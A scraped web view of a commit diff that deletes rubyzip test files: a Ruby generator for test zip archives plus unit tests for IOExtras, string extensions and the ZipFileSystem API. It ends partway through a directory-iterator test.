test_izipfilt_SOURCES = test_izipfilt.cpp
test_izipstream_SOURCES = test_izipstream.cpp
test_zip_SOURCES = test_zip.cpp
# Notice that libzipios.a is not specified as -L. -lzipios
# If it was, automake would not include it as a dependency.
# test_flist_LDADD = libzipios.a
test_izipfilt_LDADD = libzipios.a -lz
test_zip_LDADD = libzipios.a -lz
test_izipstream_LDADD = libzipios.a -lz
flistscanner.cc : flistscanner.ll
$(LEX) -+ -PFListScanner -o$@ $^

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1 +0,0 @@
0.040244959211864

View File

@ -1 +0,0 @@
0.917381580665493

View File

@ -1 +0,0 @@
0.670572209005379

View File

@ -1 +0,0 @@
ABCDEF

View File

@ -1,7 +0,0 @@
#!/usr/bin/env ruby
class NotZippedRuby
def returnTrue
true
end
end

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,160 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
class TestFiles
RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt"
RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt"
RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt"
RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin"
RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin"
EMPTY_TEST_DIR = "data/generated/emptytestdir"
ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ]
BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ]
TEST_DIRECTORIES = [ EMPTY_TEST_DIR ]
TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten!
def TestFiles.create_test_files(recreate)
if (recreate ||
! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) }))
Dir.mkdir "data/generated" rescue Errno::EEXIST
ASCII_TEST_FILES.each_with_index {
|filename, index|
create_random_ascii(filename, 1E4 * (index+1))
}
BINARY_TEST_FILES.each_with_index {
|filename, index|
create_random_binary(filename, 1E4 * (index+1))
}
ensure_dir(EMPTY_TEST_DIR)
end
end
private
def TestFiles.create_random_ascii(filename, size)
File.open(filename, "wb") {
|file|
while (file.tell < size)
file << rand
end
}
end
def TestFiles.create_random_binary(filename, size)
File.open(filename, "wb") {
|file|
while (file.tell < size)
file << [rand].pack("V")
end
}
end
def TestFiles.ensure_dir(name)
if File.exists?(name)
return if File.stat(name).directory?
File.delete(name)
end
Dir.mkdir(name)
end
end
# For representation and creation of
# test data
class TestZipFile
attr_accessor :zip_name, :entry_names, :comment
def initialize(zip_name, entry_names, comment = "")
@zip_name=zip_name
@entry_names=entry_names
if "".respond_to? :force_encoding
@entry_names.each {|name| name.force_encoding("ASCII-8BIT")}
end
@comment = comment
end
def TestZipFile.create_test_zips(recreate)
files = Dir.entries("data/generated")
if (recreate ||
! (files.index(File.basename(TEST_ZIP1.zip_name)) &&
files.index(File.basename(TEST_ZIP2.zip_name)) &&
files.index(File.basename(TEST_ZIP3.zip_name)) &&
files.index(File.basename(TEST_ZIP4.zip_name)) &&
files.index("empty.txt") &&
files.index("empty_chmod640.txt") &&
files.index("short.txt") &&
files.index("longAscii.txt") &&
files.index("longBinary.bin") ))
raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless
system("zip #{TEST_ZIP1.zip_name} data/file2.txt")
raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless
system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt")
File.open("data/generated/empty.txt", "w") {}
File.open("data/generated/empty_chmod640.txt", "w") { |f| f.chmod(0640) }
File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" }
ziptestTxt=""
File.open("data/file2.txt") { |file| ziptestTxt=file.read }
File.open("data/generated/longAscii.txt", "w") {
|file|
while (file.tell < 1E5)
file << ziptestTxt
end
}
testBinaryPattern=""
File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read }
testBinaryPattern *= 4
File.open("data/generated/longBinary.bin", "wb") {
|file|
while (file.tell < 3E5)
file << testBinaryPattern << rand << "\0"
end
}
raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless
system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}")
# without bash system interprets everything after echo as parameters to
# echo including | zip -z ...
raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless
system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"")
raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless
system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}")
raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless
system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}")
end
rescue
raise $!.to_s +
"\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" +
"to create test data. If you don't have it you can download\n" +
"the necessary test files at http://sf.net/projects/rubyzip."
end
TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", [])
TEST_ZIP2 = TestZipFile.new("data/generated/5entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/empty_chmod640.txt data/generated/short.txt data/generated/longBinary.bin},
"my zip comment")
TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt })
TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt",
TestFiles::EMPTY_TEST_DIR])
end
END {
TestFiles::create_test_files(ARGV.index("recreate") != nil ||
ARGV.index("recreateonly") != nil)
TestZipFile::create_test_zips(ARGV.index("recreate") != nil ||
ARGV.index("recreateonly") != nil)
exit if ARGV.index("recreateonly") != nil
}

View File

@ -1,208 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
$: << "../lib"
require 'test/unit'
require 'zip/ioextras'
include IOExtras
class FakeIOTest < Test::Unit::TestCase
class FakeIOUsingClass
include FakeIO
end
def test_kind_of?
obj = FakeIOUsingClass.new
assert(obj.kind_of?(Object))
assert(obj.kind_of?(FakeIOUsingClass))
assert(obj.kind_of?(IO))
assert(!obj.kind_of?(Fixnum))
assert(!obj.kind_of?(String))
end
end
class AbstractInputStreamTest < Test::Unit::TestCase
# AbstractInputStream subclass that provides a read method
TEST_LINES = [ "Hello world#{$/}",
"this is the second line#{$/}",
"this is the last line"]
TEST_STRING = TEST_LINES.join
class TestAbstractInputStream
include AbstractInputStream
def initialize(aString)
super()
@contents = aString
@readPointer = 0
end
def read(charsToRead)
retVal=@contents[@readPointer, charsToRead]
@readPointer+=charsToRead
return retVal
end
def produce_input
read(100)
end
def input_finished?
@contents[@readPointer] == nil
end
end
def setup
@io = TestAbstractInputStream.new(TEST_STRING)
end
def test_gets
assert_equal(TEST_LINES[0], @io.gets)
assert_equal(1, @io.lineno)
assert_equal(TEST_LINES[1], @io.gets)
assert_equal(2, @io.lineno)
assert_equal(TEST_LINES[2], @io.gets)
assert_equal(3, @io.lineno)
assert_equal(nil, @io.gets)
assert_equal(4, @io.lineno)
end
def test_getsMultiCharSeperator
assert_equal("Hell", @io.gets("ll"))
assert_equal("o world#{$/}this is the second l", @io.gets("d l"))
end
def test_each_line
lineNumber=0
@io.each_line {
|line|
assert_equal(TEST_LINES[lineNumber], line)
lineNumber+=1
}
end
def test_readlines
assert_equal(TEST_LINES, @io.readlines)
end
def test_readline
test_gets
begin
@io.readline
fail "EOFError expected"
rescue EOFError
end
end
end
class AbstractOutputStreamTest < Test::Unit::TestCase
class TestOutputStream
include AbstractOutputStream
attr_accessor :buffer
def initialize
@buffer = ""
end
def << (data)
@buffer << data
self
end
end
def setup
@outputStream = TestOutputStream.new
@origCommaSep = $,
@origOutputSep = $\
end
def teardown
$, = @origCommaSep
$\ = @origOutputSep
end
def test_write
count = @outputStream.write("a little string")
assert_equal("a little string", @outputStream.buffer)
assert_equal("a little string".length, count)
count = @outputStream.write(". a little more")
assert_equal("a little string. a little more", @outputStream.buffer)
assert_equal(". a little more".length, count)
end
def test_print
$\ = nil # record separator set to nil
@outputStream.print("hello")
assert_equal("hello", @outputStream.buffer)
@outputStream.print(" world.")
assert_equal("hello world.", @outputStream.buffer)
@outputStream.print(" You ok ", "out ", "there?")
assert_equal("hello world. You ok out there?", @outputStream.buffer)
$\ = "\n"
@outputStream.print
assert_equal("hello world. You ok out there?\n", @outputStream.buffer)
@outputStream.print("I sure hope so!")
assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer)
$, = "X"
@outputStream.buffer = ""
@outputStream.print("monkey", "duck", "zebra")
assert_equal("monkeyXduckXzebra\n", @outputStream.buffer)
$\ = nil
@outputStream.buffer = ""
@outputStream.print(20)
assert_equal("20", @outputStream.buffer)
end
def test_printf
@outputStream.printf("%d %04x", 123, 123)
assert_equal("123 007b", @outputStream.buffer)
end
def test_putc
@outputStream.putc("A")
assert_equal("A", @outputStream.buffer)
@outputStream.putc(65)
assert_equal("AA", @outputStream.buffer)
end
def test_puts
@outputStream.puts
assert_equal("\n", @outputStream.buffer)
@outputStream.puts("hello", "world")
assert_equal("\nhello\nworld\n", @outputStream.buffer)
@outputStream.buffer = ""
@outputStream.puts("hello\n", "world\n")
assert_equal("hello\nworld\n", @outputStream.buffer)
@outputStream.buffer = ""
@outputStream.puts(["hello\n", "world\n"])
assert_equal("hello\nworld\n", @outputStream.buffer)
@outputStream.buffer = ""
@outputStream.puts(["hello\n", "world\n"], "bingo")
assert_equal("hello\nworld\nbingo\n", @outputStream.buffer)
@outputStream.buffer = ""
@outputStream.puts(16, 20, 50, "hello")
assert_equal("16\n20\n50\nhello\n", @outputStream.buffer)
end
end
# Copyright (C) 2002-2004 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,52 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
$: << "../lib"
require 'test/unit'
require 'zip/stdrubyext'
class ModuleTest < Test::Unit::TestCase
def test_select_map
assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e })
end
end
class StringExtensionsTest < Test::Unit::TestCase
def test_starts_with
assert("hello".starts_with(""))
assert("hello".starts_with("h"))
assert("hello".starts_with("he"))
assert(! "hello".starts_with("hello there"))
assert(! "hello".starts_with(" he"))
assert_raise(TypeError, "type mismatch: NilClass given") {
"hello".starts_with(nil)
}
end
def test_ends_with
assert("hello".ends_with("o"))
assert("hello".ends_with("lo"))
assert("hello".ends_with("hello"))
assert(!"howdy".ends_with("o"))
assert(!"howdy".ends_with("oy"))
assert(!"howdy".ends_with("howdy doody"))
assert(!"howdy".ends_with("doody howdy"))
end
def test_ensure_end
assert_equal("hello!", "hello!".ensure_end("!"))
assert_equal("hello!", "hello!".ensure_end("o!"))
assert_equal("hello!", "hello".ensure_end("!"))
assert_equal("hello!", "hel".ensure_end("lo!"))
end
end
# Copyright (C) 2002, 2003 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,845 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
$: << "../lib"
require 'zip/zipfilesystem'
require 'test/unit'
require 'fileutils'
module ExtraAssertions
def assert_forwarded(anObject, method, retVal, *expectedArgs)
callArgs = nil
setCallArgsProc = proc { |args| callArgs = args }
anObject.instance_eval <<-"end_eval"
alias #{method}_org #{method}
def #{method}(*args)
ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args)
ObjectSpace._id2ref(#{retVal.object_id})
end
end_eval
assert_equal(retVal, yield) # Invoke test
assert_equal(expectedArgs, callArgs)
ensure
anObject.instance_eval "undef #{method}; alias #{method} #{method}_org"
end
end
include Zip
class ZipFsFileNonmutatingTest < Test::Unit::TestCase
def setup
@zipFile = ZipFile.new("data/zipWithDirs.zip")
end
def teardown
@zipFile.close if @zipFile
end
def test_umask
assert_equal(File.umask, @zipFile.file.umask)
@zipFile.file.umask(0006)
end
def test_exists?
assert(! @zipFile.file.exists?("notAFile"))
assert(@zipFile.file.exists?("file1"))
assert(@zipFile.file.exists?("dir1"))
assert(@zipFile.file.exists?("dir1/"))
assert(@zipFile.file.exists?("dir1/file12"))
assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? !
@zipFile.dir.chdir "dir1/"
assert(!@zipFile.file.exists?("file1"))
assert(@zipFile.file.exists?("file12"))
end
def test_open_read
blockCalled = false
@zipFile.file.open("file1", "r") {
|f|
blockCalled = true
assert_equal("this is the entry 'file1' in my test archive!",
f.readline.chomp)
}
assert(blockCalled)
blockCalled = false
@zipFile.file.open("file1", "rb") { # test binary flag is ignored
|f|
blockCalled = true
assert_equal("this is the entry 'file1' in my test archive!",
f.readline.chomp)
}
assert(blockCalled)
blockCalled = false
@zipFile.dir.chdir "dir2"
@zipFile.file.open("file21", "r") {
|f|
blockCalled = true
assert_equal("this is the entry 'dir2/file21' in my test archive!",
f.readline.chomp)
}
assert(blockCalled)
@zipFile.dir.chdir "/"
assert_raise(Errno::ENOENT) {
@zipFile.file.open("noSuchEntry")
}
begin
is = @zipFile.file.open("file1")
assert_equal("this is the entry 'file1' in my test archive!",
is.readline.chomp)
ensure
is.close if is
end
end
def test_new
begin
is = @zipFile.file.new("file1")
assert_equal("this is the entry 'file1' in my test archive!",
is.readline.chomp)
ensure
is.close if is
end
begin
is = @zipFile.file.new("file1") {
fail "should not call block"
}
ensure
is.close if is
end
end
def test_symlink
assert_raise(NotImplementedError) {
@zipFile.file.symlink("file1", "aSymlink")
}
end
def test_size
assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") }
assert_equal(72, @zipFile.file.size("file1"))
assert_equal(0, @zipFile.file.size("dir2/dir21"))
assert_equal(72, @zipFile.file.stat("file1").size)
assert_equal(0, @zipFile.file.stat("dir2/dir21").size)
end
def test_size?
assert_equal(nil, @zipFile.file.size?("notAFile"))
assert_equal(72, @zipFile.file.size?("file1"))
assert_equal(nil, @zipFile.file.size?("dir2/dir21"))
assert_equal(72, @zipFile.file.stat("file1").size?)
assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?)
end
def test_file?
assert(@zipFile.file.file?("file1"))
assert(@zipFile.file.file?("dir2/file21"))
assert(! @zipFile.file.file?("dir1"))
assert(! @zipFile.file.file?("dir1/dir11"))
assert(@zipFile.file.stat("file1").file?)
assert(@zipFile.file.stat("dir2/file21").file?)
assert(! @zipFile.file.stat("dir1").file?)
assert(! @zipFile.file.stat("dir1/dir11").file?)
end
include ExtraAssertions
def test_dirname
assert_forwarded(File, :dirname, "retVal", "a/b/c/d") {
@zipFile.file.dirname("a/b/c/d")
}
end
def test_basename
assert_forwarded(File, :basename, "retVal", "a/b/c/d") {
@zipFile.file.basename("a/b/c/d")
}
end
def test_split
assert_forwarded(File, :split, "retVal", "a/b/c/d") {
@zipFile.file.split("a/b/c/d")
}
end
def test_join
assert_equal("a/b/c", @zipFile.file.join("a/b", "c"))
assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d"))
assert_equal("/c/d", @zipFile.file.join("", "c/d"))
assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d"))
end
def test_utime
t_now = Time.now
t_bak = @zipFile.file.mtime("file1")
@zipFile.file.utime(t_now, "file1")
assert_equal(t_now, @zipFile.file.mtime("file1"))
@zipFile.file.utime(t_bak, "file1")
assert_equal(t_bak, @zipFile.file.mtime("file1"))
end
def assert_always_false(operation)
assert(! @zipFile.file.send(operation, "noSuchFile"))
assert(! @zipFile.file.send(operation, "file1"))
assert(! @zipFile.file.send(operation, "dir1"))
assert(! @zipFile.file.stat("file1").send(operation))
assert(! @zipFile.file.stat("dir1").send(operation))
end
def assert_true_if_entry_exists(operation)
assert(! @zipFile.file.send(operation, "noSuchFile"))
assert(@zipFile.file.send(operation, "file1"))
assert(@zipFile.file.send(operation, "dir1"))
assert(@zipFile.file.stat("file1").send(operation))
assert(@zipFile.file.stat("dir1").send(operation))
end
def test_pipe?
assert_always_false(:pipe?)
end
def test_blockdev?
assert_always_false(:blockdev?)
end
def test_symlink?
assert_always_false(:symlink?)
end
def test_socket?
assert_always_false(:socket?)
end
def test_chardev?
assert_always_false(:chardev?)
end
def test_truncate
assert_raise(StandardError, "truncate not supported") {
@zipFile.file.truncate("file1", 100)
}
end
def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"])
assert_raise(Errno::ENOENT) {
@zipFile.file.send(operation, *args)
}
end
def test_ftype
assert_e_n_o_e_n_t(:ftype)
assert_equal("file", @zipFile.file.ftype("file1"))
assert_equal("directory", @zipFile.file.ftype("dir1/dir11"))
assert_equal("directory", @zipFile.file.ftype("dir1/dir11/"))
end
def test_link
assert_raise(NotImplementedError) {
@zipFile.file.link("file1", "someOtherString")
}
end
def test_directory?
assert(! @zipFile.file.directory?("notAFile"))
assert(! @zipFile.file.directory?("file1"))
assert(! @zipFile.file.directory?("dir1/file11"))
assert(@zipFile.file.directory?("dir1"))
assert(@zipFile.file.directory?("dir1/"))
assert(@zipFile.file.directory?("dir2/dir21"))
assert(! @zipFile.file.stat("file1").directory?)
assert(! @zipFile.file.stat("dir1/file11").directory?)
assert(@zipFile.file.stat("dir1").directory?)
assert(@zipFile.file.stat("dir1/").directory?)
assert(@zipFile.file.stat("dir2/dir21").directory?)
end
def test_chown
assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1"))
assert_equal(1, @zipFile.file.stat("dir1").uid)
assert_equal(2, @zipFile.file.stat("dir1").gid)
assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1"))
end
def test_zero?
assert(! @zipFile.file.zero?("notAFile"))
assert(! @zipFile.file.zero?("file1"))
assert(@zipFile.file.zero?("dir1"))
blockCalled = false
ZipFile.open("data/generated/5entry.zip") {
|zf|
blockCalled = true
assert(zf.file.zero?("data/generated/empty.txt"))
}
assert(blockCalled)
assert(! @zipFile.file.stat("file1").zero?)
assert(@zipFile.file.stat("dir1").zero?)
blockCalled = false
ZipFile.open("data/generated/5entry.zip") {
|zf|
blockCalled = true
assert(zf.file.stat("data/generated/empty.txt").zero?)
}
assert(blockCalled)
end
def test_expand_path
ZipFile.open("data/zipWithDirs.zip") {
|zf|
assert_equal("/", zf.file.expand_path("."))
zf.dir.chdir "dir1"
assert_equal("/dir1", zf.file.expand_path("."))
assert_equal("/dir1/file12", zf.file.expand_path("file12"))
assert_equal("/", zf.file.expand_path(".."))
assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21"))
}
end
def test_mtime
assert_equal(Time.at(1027694306),
@zipFile.file.mtime("dir2/file21"))
assert_equal(Time.at(1027690863),
@zipFile.file.mtime("dir2/dir21"))
assert_raise(Errno::ENOENT) {
@zipFile.file.mtime("noSuchEntry")
}
assert_equal(Time.at(1027694306),
@zipFile.file.stat("dir2/file21").mtime)
assert_equal(Time.at(1027690863),
@zipFile.file.stat("dir2/dir21").mtime)
end
def test_ctime
assert_nil(@zipFile.file.ctime("file1"))
assert_nil(@zipFile.file.stat("file1").ctime)
end
def test_atime
assert_nil(@zipFile.file.atime("file1"))
assert_nil(@zipFile.file.stat("file1").atime)
end
def test_readable?
assert(! @zipFile.file.readable?("noSuchFile"))
assert(@zipFile.file.readable?("file1"))
assert(@zipFile.file.readable?("dir1"))
assert(@zipFile.file.stat("file1").readable?)
assert(@zipFile.file.stat("dir1").readable?)
end
def test_readable_real?
assert(! @zipFile.file.readable_real?("noSuchFile"))
assert(@zipFile.file.readable_real?("file1"))
assert(@zipFile.file.readable_real?("dir1"))
assert(@zipFile.file.stat("file1").readable_real?)
assert(@zipFile.file.stat("dir1").readable_real?)
end
def test_writable?
assert(! @zipFile.file.writable?("noSuchFile"))
assert(@zipFile.file.writable?("file1"))
assert(@zipFile.file.writable?("dir1"))
assert(@zipFile.file.stat("file1").writable?)
assert(@zipFile.file.stat("dir1").writable?)
end
def test_writable_real?
assert(! @zipFile.file.writable_real?("noSuchFile"))
assert(@zipFile.file.writable_real?("file1"))
assert(@zipFile.file.writable_real?("dir1"))
assert(@zipFile.file.stat("file1").writable_real?)
assert(@zipFile.file.stat("dir1").writable_real?)
end
def test_executable?
assert(! @zipFile.file.executable?("noSuchFile"))
assert(! @zipFile.file.executable?("file1"))
assert(@zipFile.file.executable?("dir1"))
assert(! @zipFile.file.stat("file1").executable?)
assert(@zipFile.file.stat("dir1").executable?)
end
def test_executable_real?
assert(! @zipFile.file.executable_real?("noSuchFile"))
assert(! @zipFile.file.executable_real?("file1"))
assert(@zipFile.file.executable_real?("dir1"))
assert(! @zipFile.file.stat("file1").executable_real?)
assert(@zipFile.file.stat("dir1").executable_real?)
end
def test_owned?
assert_true_if_entry_exists(:owned?)
end
def test_grpowned?
assert_true_if_entry_exists(:grpowned?)
end
def test_setgid?
assert_always_false(:setgid?)
end
def test_setuid?
assert_always_false(:setgid?)
end
def test_sticky?
assert_always_false(:sticky?)
end
def test_readlink
assert_raise(NotImplementedError) {
@zipFile.file.readlink("someString")
}
end
def test_stat
s = @zipFile.file.stat("file1")
assert(s.kind_of?(File::Stat)) # It pretends
assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
@zipFile.file.stat("noSuchFile")
}
end
def test_lstat
assert(@zipFile.file.lstat("file1").file?)
end
def test_chmod
assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
@zipFile.file.chmod(0644, "file1", "NoSuchFile")
}
assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1"))
end
def test_pipe
assert_raise(NotImplementedError) {
@zipFile.file.pipe
}
end
def test_foreach
ZipFile.open("data/generated/zipWithDir.zip") {
|zf|
ref = []
File.foreach("data/file1.txt") { |e| ref << e }
index = 0
zf.file.foreach("data/file1.txt") {
|l|
assert_equal(ref[index], l)
index = index.next
}
assert_equal(ref.size, index)
}
ZipFile.open("data/generated/zipWithDir.zip") {
|zf|
ref = []
File.foreach("data/file1.txt", " ") { |e| ref << e }
index = 0
zf.file.foreach("data/file1.txt", " ") {
|l|
assert_equal(ref[index], l)
index = index.next
}
assert_equal(ref.size, index)
}
end
def test_popen
if RUBY_PLATFORM =~ /mswin|mingw/i
cmd = 'dir'
else
cmd = 'ls'
end
assert_equal(File.popen(cmd) { |f| f.read },
@zipFile.file.popen(cmd) { |f| f.read })
end
# Can be added later
# def test_select
# fail "implement test"
# end
def test_readlines
ZipFile.open("data/generated/zipWithDir.zip") {
|zf|
assert_equal(File.readlines("data/file1.txt"),
zf.file.readlines("data/file1.txt"))
}
end
def test_read
ZipFile.open("data/generated/zipWithDir.zip") {
|zf|
assert_equal(File.read("data/file1.txt"),
zf.file.read("data/file1.txt"))
}
end
end
class ZipFsFileStatTest < Test::Unit::TestCase
def setup
@zipFile = ZipFile.new("data/zipWithDirs.zip")
end
def teardown
@zipFile.close if @zipFile
end
def test_blocks
assert_equal(nil, @zipFile.file.stat("file1").blocks)
end
def test_ino
assert_equal(0, @zipFile.file.stat("file1").ino)
end
def test_uid
assert_equal(0, @zipFile.file.stat("file1").uid)
end
def test_gid
assert_equal(0, @zipFile.file.stat("file1").gid)
end
def test_ftype
assert_equal("file", @zipFile.file.stat("file1").ftype)
assert_equal("directory", @zipFile.file.stat("dir1").ftype)
end
def test_mode
assert_equal(0600, @zipFile.file.stat("file1").mode & 0777)
assert_equal(0600, @zipFile.file.stat("file1").mode & 0777)
assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777)
assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777)
end
def test_dev
assert_equal(0, @zipFile.file.stat("file1").dev)
end
def test_rdev
assert_equal(0, @zipFile.file.stat("file1").rdev)
end
def test_rdev_major
assert_equal(0, @zipFile.file.stat("file1").rdev_major)
end
def test_rdev_minor
assert_equal(0, @zipFile.file.stat("file1").rdev_minor)
end
def test_nlink
assert_equal(1, @zipFile.file.stat("file1").nlink)
end
def test_blksize
assert_nil(@zipFile.file.stat("file1").blksize)
end
end
class ZipFsFileMutatingTest < Test::Unit::TestCase
TEST_ZIP = "zipWithDirs_copy.zip"
def setup
FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP)
end
def teardown
end
def test_delete
do_test_delete_or_unlink(:delete)
end
def test_unlink
do_test_delete_or_unlink(:unlink)
end
def test_open_write
ZipFile.open(TEST_ZIP) {
|zf|
zf.file.open("test_open_write_entry", "w") {
|f|
blockCalled = true
f.write "This is what I'm writing"
}
assert_equal("This is what I'm writing",
zf.file.read("test_open_write_entry"))
# Test with existing entry
zf.file.open("file1", "wb") { #also check that 'b' option is ignored
|f|
blockCalled = true
f.write "This is what I'm writing too"
}
assert_equal("This is what I'm writing too",
zf.file.read("file1"))
}
end
def test_rename
ZipFile.open(TEST_ZIP) {
|zf|
assert_raise(Errno::ENOENT, "") {
zf.file.rename("NoSuchFile", "bimse")
}
zf.file.rename("file1", "newNameForFile1")
}
ZipFile.open(TEST_ZIP) {
|zf|
assert(! zf.file.exists?("file1"))
assert(zf.file.exists?("newNameForFile1"))
}
end
def do_test_delete_or_unlink(symbol)
ZipFile.open(TEST_ZIP) {
|zf|
assert(zf.file.exists?("dir2/dir21/dir221/file2221"))
zf.file.send(symbol, "dir2/dir21/dir221/file2221")
assert(! zf.file.exists?("dir2/dir21/dir221/file2221"))
assert(zf.file.exists?("dir1/file11"))
assert(zf.file.exists?("dir1/file12"))
zf.file.send(symbol, "dir1/file11", "dir1/file12")
assert(! zf.file.exists?("dir1/file11"))
assert(! zf.file.exists?("dir1/file12"))
assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") }
assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") }
assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") }
}
ZipFile.open(TEST_ZIP) {
|zf|
assert(! zf.file.exists?("dir2/dir21/dir221/file2221"))
assert(! zf.file.exists?("dir1/file11"))
assert(! zf.file.exists?("dir1/file12"))
assert(zf.file.exists?("dir1/dir11"))
assert(zf.file.exists?("dir1/dir11/"))
}
end
end
class ZipFsDirectoryTest < Test::Unit::TestCase
TEST_ZIP = "zipWithDirs_copy.zip"
def setup
FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP)
end
def test_delete
ZipFile.open(TEST_ZIP) {
|zf|
assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") {
zf.dir.delete("NoSuchFile.txt")
}
assert_raise(Errno::EINVAL, "Invalid argument - file1") {
zf.dir.delete("file1")
}
assert(zf.file.exists?("dir1"))
zf.dir.delete("dir1")
assert(! zf.file.exists?("dir1"))
}
end
def test_mkdir
ZipFile.open(TEST_ZIP) {
|zf|
assert_raise(Errno::EEXIST, "File exists - dir1") {
zf.dir.mkdir("file1")
}
assert_raise(Errno::EEXIST, "File exists - dir1") {
zf.dir.mkdir("dir1")
}
assert(!zf.file.exists?("newDir"))
zf.dir.mkdir("newDir")
assert(zf.file.directory?("newDir"))
assert(!zf.file.exists?("newDir2"))
zf.dir.mkdir("newDir2", 3485)
assert(zf.file.directory?("newDir2"))
}
end
def test_pwd_chdir_entries
ZipFile.open(TEST_ZIP) {
|zf|
assert_equal("/", zf.dir.pwd)
assert_raise(Errno::ENOENT, "No such file or directory - no such dir") {
zf.dir.chdir "no such dir"
}
assert_raise(Errno::EINVAL, "Invalid argument - file1") {
zf.dir.chdir "file1"
}
assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort)
zf.dir.chdir "dir1"
assert_equal("/dir1", zf.dir.pwd)
assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort)
zf.dir.chdir "../dir2/dir21"
assert_equal("/dir2/dir21", zf.dir.pwd)
assert_equal(["dir221"].sort, zf.dir.entries(".").sort)
}
end
def test_foreach
ZipFile.open(TEST_ZIP) {
|zf|
blockCalled = false
assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") {
zf.dir.foreach("noSuchDir") { |e| blockCalled = true }
}
assert(! blockCalled)
assert_raise(Errno::ENOTDIR, "Not a directory - file1") {
zf.dir.foreach("file1") { |e| blockCalled = true }
}
assert(! blockCalled)
entries = []
zf.dir.foreach(".") { |e| entries << e }
assert_equal(["dir1", "dir2", "file1"].sort, entries.sort)
entries = []
zf.dir.foreach("dir1") { |e| entries << e }
assert_equal(["dir11", "file11", "file12"], entries.sort)
}
end
def test_chroot
ZipFile.open(TEST_ZIP) {
|zf|
assert_raise(NotImplementedError) {
zf.dir.chroot
}
}
end
# Globbing not supported yet
#def test_glob
# # test alias []-operator too
# fail "implement test"
#end
def test_open_new
ZipFile.open(TEST_ZIP) {
|zf|
assert_raise(Errno::ENOTDIR, "Not a directory - file1") {
zf.dir.new("file1")
}
assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
zf.dir.new("noSuchFile")
}
d = zf.dir.new(".")
assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort)
d.close
zf.dir.open("dir1") {
|dir|
assert_equal(["dir11", "file11", "file12"].sort, dir.entries.sort)
}
}
end
end
class ZipFsDirIteratorTest < Test::Unit::TestCase
FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ]
def setup
@dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY)
end
def test_close
@dirIt.close
assert_raise(IOError, "closed directory") {
@dirIt.each { |e| p e }
}
assert_raise(IOError, "closed directory") {
@dirIt.read
}
assert_raise(IOError, "closed directory") {
@dirIt.rewind
}
assert_raise(IOError, "closed directory") {
@dirIt.seek(0)
}
assert_raise(IOError, "closed directory") {
@dirIt.tell
}
end
def test_each
# Tested through Enumerable.entries
